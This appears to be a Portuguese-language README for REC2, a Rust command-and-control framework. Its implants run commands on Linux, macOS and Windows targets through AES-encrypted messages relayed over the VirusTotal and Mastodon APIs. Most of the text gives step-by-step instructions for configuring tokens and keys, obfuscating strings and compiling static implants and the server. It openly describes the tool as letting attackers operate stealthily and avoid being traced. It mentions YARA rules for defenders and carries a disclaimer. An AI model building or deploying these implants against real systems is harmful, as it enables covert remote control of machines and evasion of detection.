
REC2 (Rusty External Command and Control) é uma ferramenta cliente e servidor que permite ao auditor executar comandos a partir das APIs do VirusTotal e Mastodon, escrita em Rust. 🦀
:shipit: Informações: o REC2 é um projeto pessoal antigo (início de 2023) que eu não continuei desenvolvendo. Ele faz parte de uma lista de projetos que me ajudaram a aprender Rust. O código provavelmente é considerado obsoleto e não está em sua melhor forma. Talvez eu retome de onde parei #roadmap. No entanto, o REC2 é totalmente funcional e permite executar comandos em um alvo Linux, macOS ou Windows por meio das APIs do VirusTotal e do Mastodon.
⚠️ Aviso legal: O REC2 é apenas para fins educacionais. Use-o por sua conta e risco; não posso ser responsabilizado por quaisquer danos causados. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final cumprir todas as leis locais, estaduais e federais aplicáveis. Não assumo nenhuma responsabilidade e não sou responsável por qualquer uso indevido ou dano causado por esta ferramenta.
🔴 Redteamer: compartilho com você uma versão beta de um dos meus C2 externos usando VirusTotal e Mastodon
🔵 Blueteamer: você pode encontrar um exemplo de regras YARA para os implants do REC2 neste mesmo repositório
REC2, ou Rusty External Command and Control, é uma ferramenta versátil de Comando e Controle (C2) desenvolvida na linguagem de programação Rust. Ela fornece uma maneira discreta e eficaz de gerenciar implants remotos (clientes) em sistemas macOS, Linux e Windows. O REC2 utiliza APIs de terceiros, como VirusTotal ou Mastodon, para transmitir mensagens criptografadas com AES entre o servidor e os implants, permitindo que atacantes operem de forma furtiva por meio desses canais externos. Os implants podem monitorar tarefas pendentes, recuperar, descriptografar, executar tarefas no sistema alvo e transmitir os resultados de volta com segurança pelas mesmas APIs. Usar essas APIs como intermediárias adiciona uma camada extra de anonimização, reduzindo a facilidade de rastreamento até o atacante.

Altere alguns valores em implants/(mastodon,virustotal)/src/main.rs :
// (MASTODON or VIRUSTOTAL) TOKEN
// <https://mastodon.be/settings/applications>
// <https://developers.virustotal.com/reference/authentication>
let token = lc!("TOKEN").to_owned();
// (MASTODON or VIRUSTOTAL) FULL URL
//let full_url = lc!("https://mastodon.xx/@username/100123451234512345").to_owned();
let full_url = lc!("https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d").to_owned();
Compile o implant Windows x64 como binário estático:
make virustotal_windows
make mastodon_windows
Você pode encontrar (rec2_virustotal_x64.exe ou rec2_mastodon_x64.exe) no seu diretório atual.
E, para finalizar, compile o binário do servidor:
make c2server_release
./server_release -h
./server_release VirusTotal -h
./server_release Mastodon -h
# Example
./server_release VirusTotal --url <URL> --token <TOKEN> --key <AES_KEY>
Agora basta executar o implant no seu alvo.
Você pode usar o comando make para compilá-lo para Linux, Windows ou macOS.
Mais comandos no Makefile:
REC2 Server:
usage: make c2server_debug
usage: make c2server_release
usage: make c2server_windows
usage: make c2server_windows_x64
usage: make c2server_windows_x86
usage: make c2server_linux
usage: make c2server_linux_aarch64
usage: make c2server_linux_x86_64
usage: make c2server_macos
usage: make c2server_arm_musl
usage: make c2server_armv7
VirusTotal implant:
usage: make virustotal_debug
usage: make virustotal_release
usage: make virustotal_windows
usage: make virustotal_windows_x64
usage: make virustotal_windows_x86
usage: make virustotal_linux
usage: make virustotal_linux_aarch64
usage: make virustotal_linux_x86_64
usage: make virustotal_macos
usage: make virustotal_arm_musl
usage: make virustotal_armv7
Mastodon implant:
usage: make mastodon_debug
usage: make mastodon_release
usage: make mastodon_windows
usage: make mastodon_windows_x64
usage: make mastodon_windows_x86
usage: make mastodon_linux
usage: make mastodon_linux_aarch64
usage: make mastodon_linux_x86_64
usage: make mastodon_macos
usage: make mastodon_arm_musl
usage: make mastodon_armv7
Dependencies:
usage: make install_windows_deps
usage: make install_macos_deps
Documentation:
usage: make c2server_doc
usage: make virustotal_doc
usage: make mastodon_doc
Cleaning:
usage: make clean
Compile o REC2 com o Docker para garantir que todas as dependências estejam presentes.
docker build --rm -t rec2 .
# Then to build C2 server:
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_windows
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_linux
docker run --rm -v ./:/usr/src/rec2 rec2 c2server_macos
# Then to build VirusTotal implant:
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_windows
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_linux
docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_macos
# Then to build Mastodon implant:
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_windows
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_linux
docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_macos
Você precisará instalar o Rust no seu sistema.
https://www.rust-lang.org/fr/tools/install
:warining: Você precisa exportar a variável
LITCRYPT_ENCRYPT_KEYno seu terminal antes de compilar. (para ofuscação de strings dos implants)
export LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
:warining: Você precisa alterar o AESKEY em implants/(virustotal,mastodon)/main.rs e alterar a URL e o TOKEN.
Veja como compilar as versões "release" e "debug" usando o comando cargo.
git clone https://github.com/g0h4n/REC2
cd REC2
# Implants
# choise your implant Mastodon or VirusTotal
# implants/mastodon/Cargo.toml
# release version
cargo build --release --manifest --manifest-path implants/mastodon/Cargo.toml
# or debug version
cargo b --manifest-path implants/mastodon/Cargo.toml
# implants/virustotal/Cargo.toml
# release version
cargo build --release --manifest --manifest-path implants/virustotal/Cargo.toml
# or debug version
cargo b --manifest-path implants/virustotal/Cargo.toml
# Server
cargo build --release --manifest --manifest-path server/Cargo.toml
# or debug version
cargo b --manifest-path server/Cargo.toml
O resultado dos Implants pode ser encontrado nas pastas implants/(mastodon,virustotal)/target/release ou implants/(mastodon,virustotal)/target/debug. O resultado do servidor pode ser encontrado nas pastas server/target/release ou server/target/debug.
Abaixo você pode encontrar a metodologia de compilação para cada um dos sistemas operacionais a partir do Linux. Se você precisar de outro sistema de compilação, consulte a lista neste link: https://doc.rust-lang.org/nightly/rustc/platform-support.html
# Install rustup and Cargo for Linux
curl https://sh.rustup.rs -sSf | sh
# Add Linux deps
rustup install stable-x86_64-unknown-linux-gnu
rustup target add x86_64-unknown-linux-gnu
# Static compilation for Linux
git clone https://github.com/g0h4n/REC2
cd REC2
# Implants
# choise your implant Mastodon or VirusTotal
# implants/mastodon/Cargo.toml
CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/mastodon/Cargo.toml
# implants/virustotal/Cargo.toml
CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/virustotal/Cargo.toml
# Server
CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path server/Cargo.toml
O resultado pode ser encontrado nas pastas implants/(mastodon,virustotal)/target/x86_64-unknown-linux-gnu/release ou server/target/x86_64-unknown-linux-gnu/release.
# Install rustup and Cargo in Linux
curl https://sh.rustup.rs -sSf | sh
# Add Windows deps
rustup install stable-x86_64-pc-windows-gnu
rustup target add x86_64-pc-windows-gnu
# Static compilation for Windows
git clone https://github.com/g0h4n/REC2
cd REC2
# Implants
# choise your implant Mastodon or VirusTotal
# implants/mastodon/Cargo.toml
RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/mastodon/Cargo.toml
# implants/virustotal/Cargo.toml
RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/virustotal/Cargo.toml
# Server
RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path server/Cargo.toml
O resultado pode ser encontrado nas pastas implants/(mastodon,virustotal)/target/x86_64-pc-windows-gnu/release ou server/target/x86_64-pc-windows-gnu/release.
Documentação incrível: https://wapl.es/rust/2019/02/17/rust-cross-compile-linux-to-macos.html
# Install rustup and Cargo in Linux
curl https://sh.rustup.rs -sSf | sh
# Add macOS tool chain
sudo git clone https://github.com/tpoechtrager/osxcross /usr/local/bin/osxcross
sudo wget -P /usr/local/bin/osxcross/ -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && sudo mv /usr/local/bin/osxcross/MacOSX10.10.sdk.tar.xz /usr/local/bin/osxcross/tarballs/
sudo UNATTENDED=yes OSX_VERSION_MIN=10.7 /usr/local/bin/osxcross/build.sh
sudo chmod 775 /usr/local/bin/osxcross/ -R
export PATH="/usr/local/bin/osxcross/target/bin:$PATH"
# Cargo needs to be told to use the correct linker for the x86_64-apple-darwin target, so add the following to your project’s .cargo/config file:
grep 'target.x86_64-apple-darwin' ~/.cargo/config || echo "[target.x86_64-apple-darwin]" >> ~/.cargo/config
grep 'linker = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'linker = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config
grep 'ar = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'ar = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config
# Static compilation for macOS
git clone https://github.com/g0h4n/REC2
cd REC2
# Implants
# choise your implant Mastodon or VirusTotal
# implants/mastodon/Cargo.toml
RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/mastodon/Cargo.toml
# implants/virustotal/Cargo.toml
RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/virustotal/Cargo.toml
# Server
RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path server/Cargo.toml
O resultado pode ser encontrado na pasta implants/(mastodon,virustotal)/target/x86_64-apple-darwin/release.
git clone https://github.com/g0h4n/REC2
cd REC2
# Implants
# choise your implant Mastodon or VirusTotal
# implants/mastodon/Cargo.toml
cargo doc --open --no-deps --manifest-path implants/mastodon/Cargo.toml
# implants/virustotal/Cargo.toml
cargo doc --open --no-deps --manifest-path implants/virustotal/Cargo.toml
# Server
cargo doc --open --no-deps --manifest-path server/Cargo.toml
sessions -i 1 para anexar a sessão número 1 [09/28/2023]background [09/28/2023]